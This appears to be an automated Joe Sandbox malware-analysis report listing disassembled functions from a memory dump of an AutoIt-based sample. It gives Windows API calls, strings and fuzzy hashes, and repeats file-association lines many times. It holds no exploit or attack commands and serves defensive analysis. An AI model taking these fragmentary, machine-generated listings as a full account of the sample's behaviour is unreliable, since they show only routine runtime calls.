Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: cb589db9f7ba8640401c0f992a90e07ca7c9812f6b01ef470cd2cbabf1670d5d
Instruction ID: 006c3a791556e1ec6409afdd651c58d257b2281735b22fbf994c4f57cd1a42aa
Opcode Fuzzy Hash: cb589db9f7ba8640401c0f992a90e07ca7c9812f6b01ef470cd2cbabf1670d5d
Instruction Fuzzy Hash: D531E435A202099FDF01EFA8ED89AFEB7B4FF45300F104229E406DB291DB719962CB51

Function 00289471 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 0028B0C4: GetClassNameW.USER32(?,?,000000FF), ref: 0028B0E7

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 002894F6
GetDlgCtrlID.USER32 ref: 00289501
GetParent.USER32 ref: 0028951D
SendMessageW.USER32(00000000,?,00000111,?), ref: 00289520
GetDlgCtrlID.USER32(?), ref: 00289529
GetParent.USER32(?), ref: 00289545
SendMessageW.USER32(00000000,?,?,00000111), ref: 00289548

Strings

ComboBox, xrefs: 0028947E
ListBox, xrefs: 002894B3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 7a4947725d6e19c9a7dd7b4f305f75f005e9b17c508c03331624461b074e1bb1
Instruction ID: ddbb15b8d8fa22bb40225d7708ed97507d3227e707a2fb0e6cec77103f2aadb4
Opcode Fuzzy Hash: 7a4947725d6e19c9a7dd7b4f305f75f005e9b17c508c03331624461b074e1bb1
Instruction Fuzzy Hash: 5B21E274A10104ABCF01AF65CC85DFEBB68FF45300F50022AB921972E2DB7559699F20

Function 0028955C Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Part of subcall function 0028B0C4: GetClassNameW.USER32(?,?,000000FF), ref: 0028B0E7

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 002895DF
GetDlgCtrlID.USER32 ref: 002895EA
GetParent.USER32 ref: 00289606
SendMessageW.USER32(00000000,?,00000111,?), ref: 00289609
GetDlgCtrlID.USER32(?), ref: 00289612
GetParent.USER32(?), ref: 0028962E
SendMessageW.USER32(00000000,?,?,00000111), ref: 00289631

Strings

ComboBox, xrefs: 00289569
ListBox, xrefs: 0028959E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 735887fbf7eca0fafd2ff41d8e2da6f885e998eeb6fe723e052ca9263c6c1e78
Instruction ID: 0257fb624a2bd4d7349b33fbc2566302d589a599d36882942aa23d37dcf4e613
Opcode Fuzzy Hash: 735887fbf7eca0fafd2ff41d8e2da6f885e998eeb6fe723e052ca9263c6c1e78
Instruction Fuzzy Hash: 8921B3B4A11204BBDF01AB65CC85EFEBBB8EF49300F540126F921972E1DB7599699F20

Function 00289645 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 00289651
GetClassNameW.USER32(00000000,?,00000100), ref: 00289666
_wcscmp.LIBCMT ref: 00289678
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 002896F3

Strings

details, xrefs: 002896A1
smallicons, xrefs: 002896BB
list, xrefs: 002896D5
SHELLDLL_DefView, xrefs: 00289672
largeicons, xrefs: 00289687

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: cf8051c9b75e6fc7d484a1c870adb3c7c772b3396ab3ad31ddc19d4e93bf6d7f
Instruction ID: 1286f9e83a4a9d8588699236724d7d6f486884a2f9af2b0c308cb28c82c738e8
Opcode Fuzzy Hash: cf8051c9b75e6fc7d484a1c870adb3c7c772b3396ab3ad31ddc19d4e93bf6d7f
Instruction Fuzzy Hash: 33113D7A2B5313BAFA013631DC0ADB6779C8B053A0F200127FD00A04D1FEA169F04F48

Function 002A8BC0 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 002A8BEC
CoInitialize.OLE32(00000000), ref: 002A8C19
CoUninitialize.OLE32 ref: 002A8C23
GetRunningObjectTable.OLE32(00000000,?), ref: 002A8D23
SetErrorMode.KERNEL32(00000001,00000029), ref: 002A8E50
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,002C2C0C), ref: 002A8E84
CoGetObject.OLE32(?,00000000,002C2C0C,?), ref: 002A8EA7
SetErrorMode.KERNEL32(00000000), ref: 002A8EBA
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 002A8F3A
VariantClear.OLEAUT32(?), ref: 002A8F4A

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 79ba57552fd8e9b73a663c9a46d474a9ba6abe37c1109f7d5d316938af597c87
Instruction ID: f0fff8f79a468027bb6b948762eb094cf46fb56371d0aca7244e0e8324bd6a5a
Opcode Fuzzy Hash: 79ba57552fd8e9b73a663c9a46d474a9ba6abe37c1109f7d5d316938af597c87
Instruction Fuzzy Hash: C9C134B1618305AFD700DF28C88492AB7E9FF8A748F00496DF58A9B250DB71ED55CB52

Function 00294189 Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 0029419D
__swprintf.LIBCMT ref: 002941AA

Part of subcall function 002538D8: __woutput_l.LIBCMT ref: 00253931

FindResourceW.KERNEL32(?,?,0000000E), ref: 002941D4
LoadResource.KERNEL32(?,00000000), ref: 002941E0
LockResource.KERNEL32(00000000), ref: 002941ED
FindResourceW.KERNEL32(?,?,00000003), ref: 0029420D
LoadResource.KERNEL32(?,00000000), ref: 0029421F
SizeofResource.KERNEL32(?,00000000), ref: 0029422E
LockResource.KERNEL32(?), ref: 0029423A
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 0029429B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 4e45d108b3a2364bedb41add82b599777d7a933b1100f4eff339ec31ff19a7d3
Instruction ID: d4f2c8160ac63f18672b254eb2fc9e8c3a155b26612734d87d8167781873aaae
Opcode Fuzzy Hash: 4e45d108b3a2364bedb41add82b599777d7a933b1100f4eff339ec31ff19a7d3
Instruction Fuzzy Hash: 64317C71A1521AAFDF11AF60ED48EBA7BACFF04341F008625FD05D6150D770DA62CBA0

Function 002916DE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32(?,?,?,?,?,00290778,?,00000001), ref: 00291700
GetForegroundWindow.USER32 ref: 00291714
GetWindowThreadProcessId.USER32(00000000), ref: 0029171B
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 0029172A
GetWindowThreadProcessId.USER32(?,00000000), ref: 0029173C
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00291755
AttachThreadInput.USER32(00000000,00000000,00000001), ref: 00291767
AttachThreadInput.USER32(00000000,00000000), ref: 002917AC
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 002917C1
AttachThreadInput.USER32(00000000,00000000,00000000), ref: 002917CC

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 4acea8231eac2bff798c1591db80eb7b18977479f9cb7dc906501936f62a05ff
Instruction ID: 26f62cb45d01eb2219d8d216e0a9f0cf2c697eab527a205c7560e03bafad2c5f
Opcode Fuzzy Hash: 4acea8231eac2bff798c1591db80eb7b18977479f9cb7dc906501936f62a05ff
Instruction Fuzzy Hash: 8731A075620207BBEF119F95EE8CBB9B7ADAB25B61F104124F804863A0D7709D60CB60

Function 0028A693 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,0028AA64), ref: 0028A9A2

Strings

TEXT, xrefs: 0028A8D9
CLASSNN, xrefs: 0028A744
CLASS, xrefs: 0028A721
INSTANCE, xrefs: 0028A8B0
REGEXPCLASS, xrefs: 0028A767
NAME, xrefs: 0028A7D4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 0ad82ec2201958b57ad39cc56bf558dacc5496769a448ea3f8ef11a3f85828fb
Instruction ID: 58c6b2f1c050e03ae5328c60ab13ed8f9dbfde53d3fb26551c79b216b8716234
Opcode Fuzzy Hash: 0ad82ec2201958b57ad39cc56bf558dacc5496769a448ea3f8ef11a3f85828fb
Instruction Fuzzy Hash: 7D9194749256079BEB18EF60C481BE9FB74BF04304F50811BD899A7181DF30AAB9DFA1

Function 00232E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00232EAE

Part of subcall function 00231DB3: GetClientRect.USER32(?,?), ref: 00231DDC
Part of subcall function 00231DB3: GetWindowRect.USER32(?,?), ref: 00231E1D
Part of subcall function 00231DB3: ScreenToClient.USER32(?,?), ref: 00231E45

GetDC.USER32 ref: 0026CF82
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 0026CF95
SelectObject.GDI32(00000000,00000000), ref: 0026CFA3
SelectObject.GDI32(00000000,00000000), ref: 0026CFB8
ReleaseDC.USER32(?,00000000), ref: 0026CFC0
MoveWindow.USER32(?,?,?,?,?,?), ref: 0026D04B

Strings

U, xrefs: 0026CF20

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
String ID: U
API String ID: 4009187628-3372436214
Opcode ID: 6efa7f2d8213922a066d519e753308a395b09988c1a08e88c37f2b3370847deb
Instruction ID: c2e470c1cb60776401e5f1fb228f024173cdb49c986ae93c1b9391fcb3681cd8
Opcode Fuzzy Hash: 6efa7f2d8213922a066d519e753308a395b09988c1a08e88c37f2b3370847deb
Instruction Fuzzy Hash: 7B71187092020ADFCF21DF64CC85ABA7BB5FF48360F24426AED955A166C7319CA1DF60

Function 00233015 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 72registrywindowclipboardCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00233074
RegisterClassExW.USER32(00000030), ref: 0023309E
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 002330AF
LoadIconW.USER32(000000A9), ref: 002330F2

Strings

TaskbarCreated, xrefs: 002330A4
0, xrefs: 00233056
AutoIt v3 GUI, xrefs: 00233090
+, xrefs: 0023305D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Register$BrushClassClipboardColorFormatIconLoad
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 975902462-1005189915
Opcode ID: 8b3d7ff221d524a83cfa22d0eaa073ab6edb5beb5c90ccc35c0abcb7637c8d5a
Instruction ID: 6aa97b09facefb0cdd62e8f519519d314cae4b4145a32587bad37a37b97db62e
Opcode Fuzzy Hash: 8b3d7ff221d524a83cfa22d0eaa073ab6edb5beb5c90ccc35c0abcb7637c8d5a
Instruction Fuzzy Hash: 213156B1844309AFEB40DFA4ED8CAD9BBF0FB09360F10466EE590A62A0D7B50595CF50

Function 00233041 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 54registrywindowclipboardCOMMON

Download Yara Rule

APIs

GetSysColorBrush.USER32(0000000F), ref: 00233074
RegisterClassExW.USER32(00000030), ref: 0023309E
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 002330AF
LoadIconW.USER32(000000A9), ref: 002330F2

Strings

TaskbarCreated, xrefs: 002330A4
0, xrefs: 00233056
AutoIt v3 GUI, xrefs: 00233090
+, xrefs: 0023305D

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Register$BrushClassClipboardColorFormatIconLoad
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 975902462-1005189915
Opcode ID: 3d1bd086a35824f906ed371998ebdd0d65fb185f203927187295f2f0034dba86
Instruction ID: b7f2d212356ccd523b86d3ed45e3cea5f9c17abfcaf483451e4344335cbc26af
Opcode Fuzzy Hash: 3d1bd086a35824f906ed371998ebdd0d65fb185f203927187295f2f0034dba86
Instruction Fuzzy Hash: 7621B2B1950218AFDB40DFA4FD8DBADBBF4FB087A0F10462AF910A62A0D7B14554CF91

Function 002A8F5B Relevance: 13.9, APIs: 9, Instructions: 438COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?,002BF910), ref: 002A903D
FreeLibrary.KERNEL32(00000000,00000001,00000000,?,002BF910), ref: 002A9071
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 002A91EB
SysFreeString.OLEAUT32(?), ref: 002A9215

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Free$FileLibraryModuleNamePathQueryStringType
String ID:
API String ID: 560350794-0
Opcode ID: 91212773ad801f8c26861805048fd25d40977d50f07af9e83d9a3c624754cc8d
Instruction ID: 9a947092dbbafc9c7b22211a451020fc2b41cf759ac00535a93fd4f746f295d9
Opcode Fuzzy Hash: 91212773ad801f8c26861805048fd25d40977d50f07af9e83d9a3c624754cc8d
Instruction Fuzzy Hash: 4DF13A71A1020AEFCF04DF95C888EAEB7B9BF4A314F108499F515AB250DB71AE95CF50

Function 002AF9A8 Relevance: 13.9, APIs: 9, Instructions: 386processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002AF9C9
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 002AFB5C
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 002AFB80
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 002AFBC0
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 002AFBE2
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 002AFD5E
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 002AFD90
CloseHandle.KERNEL32(?), ref: 002AFDBF
CloseHandle.KERNEL32(?), ref: 002AFE36

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: df247bb8c91fcff8c4ebb1be581428788efa6feab17eecbfb637e40e312bfb23
Instruction ID: 69ddc3f7ad22b98702e4701082253185ee5d331eb4ff8f284e9103e25fde1d4c
Opcode Fuzzy Hash: df247bb8c91fcff8c4ebb1be581428788efa6feab17eecbfb637e40e312bfb23
Instruction Fuzzy Hash: 6AE1B131224241DFCB54EF64C985B6ABBE1AF86314F14896DF8898B2A2CF74DC64CF51

Function 0023201B Relevance: 13.7, APIs: 9, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00231B41: InvalidateRect.USER32(?,00000000,00000001), ref: 00231B9A

DestroyWindow.USER32(?), ref: 002320D3
KillTimer.USER32(-00000001,?), ref: 0023216E
DestroyAcceleratorTable.USER32(00000000), ref: 0026BEF6
DeleteObject.GDI32(00000000), ref: 0026BF6C

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Destroy$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 2402799130-0
